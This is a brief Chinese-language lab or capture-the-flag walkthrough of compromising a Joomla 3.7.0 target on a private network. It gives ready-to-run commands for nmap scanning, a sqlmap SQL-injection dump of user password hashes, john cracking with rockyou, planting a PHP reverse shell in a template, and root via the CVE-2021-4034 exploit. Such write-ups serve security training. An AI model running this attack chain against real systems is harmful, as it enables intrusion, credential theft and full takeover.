kali：192.168.111.111

靶机：192.168.111.250

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.250

通过nmap得知目标CMS为Joomla 3.7.0

漏洞利用

搜索发现该版本存在sql注入

利用sqlmap获取目标后台用户密码

sqlmap -u "http://192.168.111.250/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --batch -p list[fullordering] -D 'joomladb' -T '#__users' -C 'username,password' --dump

得到的密文用john爆破得到密码：snoopy

john hash --wordlist=/usr/share/wordlists/rockyou.txt

登录后台写入php反弹shell

之后访问http://192.168.111.250/templates/beez3/shell.php，获得反弹shell

提权

上传linpeas.sh进行信息收集：https://github.com/carlospolop/PEASS-ng/，发现可以内核提权

CVE-2021-4034提权：https://codeload.github.com/berdav/CVE-2021-4034/zip/main

unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

flag